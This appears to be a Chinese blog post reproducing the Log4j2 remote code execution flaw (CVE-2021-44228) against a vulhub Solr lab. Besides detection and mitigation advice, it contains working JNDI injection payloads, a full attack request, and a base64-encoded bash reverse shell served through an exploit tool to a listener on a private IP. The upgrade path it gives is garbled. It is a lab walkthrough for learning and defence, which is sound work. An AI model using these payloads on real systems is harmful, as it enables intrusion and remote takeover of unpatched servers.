Log4j2远程命令执行【CVE-2021-44228】
Log4j2远程命令执行【CVE-2021-44228】
参考:Apache Log4j2 CVE-2021-44228漏洞复现分析
影响范围: Apache Log4j2 2.0.0 ~ 2.15.0-rc1
目前为止已知如下组件存在漏洞
Spring-Boot-strater-log4j2 Apache Struts2 Apache Solr Apache Flink Apache Druid ElasticSearch Flume Dubbo Redis Logstash Kafka vmvare
jdk版本要求
需要注意的有以下几点:
-
基于RMI的利用方式,JDK版本限制于
6u132
、7u131
、8u121
之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 -
基于LDAP的利用方式,JDK版本限制于
6u211
、7u201
、8u191
、11.0.1
之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 -
针对高版本的jdk,即使设置了
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
可能在利用时也会失败(vulfocus环境),具体原因未查明…表现是ldap接收到请求,但是没往http上重定向,但是本地是ok的
环境搭建
服务启动后,可以访问http://your-ip:8983
查看到 Apache Solr 的后台页面。
按照vulhub文档中的步骤来构建payload:https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
${jndi:dns://${sys:java.version}.example.com}
是利用 JNDI 发送 DNS 请求的 Payload,我们将其作为管理员接口的操作参数值发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1 Host: your-ip:8983 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close
其中,.example.com
填写DNSlog的域名,${sys:java.version}
为攻击语句
在线DNSlog平台:
以dnslog为例,我们打开网页,点击获取子域,复制子域名
接着抓包构造payload
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.9o7g64.dnslog.cn}
回到网页点击刷新记录,payload执行成功
反弹shell
参考:log4j2(CVE-2021-44228)漏洞复现实操(小白向)
下载exp,工具具体目录在文件中的tools目录下
https://github.com/bkfish/Apache-Log4j-Learning/
https://github.com/welk1n/JNDI-Injection-Exploit/releases
构造payload:
bash -i >& /dev/tcp/192.168.2.104/6666 0>&1 base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==
使用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.2.104
这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限。我们根据DNSlog平台获取的版本号进行选择,再次构造一个payload
${jndi:rmi://192.168.2.104:1099/o8evhb}
在kali中开启nc监听6666端口,然后将这个payload插入到参数action的后面,回车访问
http://192.168.2.102:8983/solr/admin/cores?${jndi:rmi://192.168.2.104:1099/o8evhb}
回到 kali 中看到 nc 成功反弹 shell
ceye.io
登录后获取标识符
只需要将上述payload中的域名更换即可
排查方法
参考:Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)
- pom版本检查
- 可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
- 检查日志中是否存在相关的堆栈报错,堆栈里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
- 各种安全产品
自查工具:
https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh
修复建议
官方方案:
- 将Log4j框架升级到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
- 不要用2.15.0-rc1和2.15.0-rc2
临时方案
- 升级JDK
- 修改log4j配置
- 设置参数:
log4j2.formatMsgNoLookups=True
- 修改jvm参数:
-Dlog4j2.formatMsgNoLookups=true
- 系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 禁止log4j2所在的服务器外连
- 设置参数:
- 使用安全产品防护:WAF、RASP
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)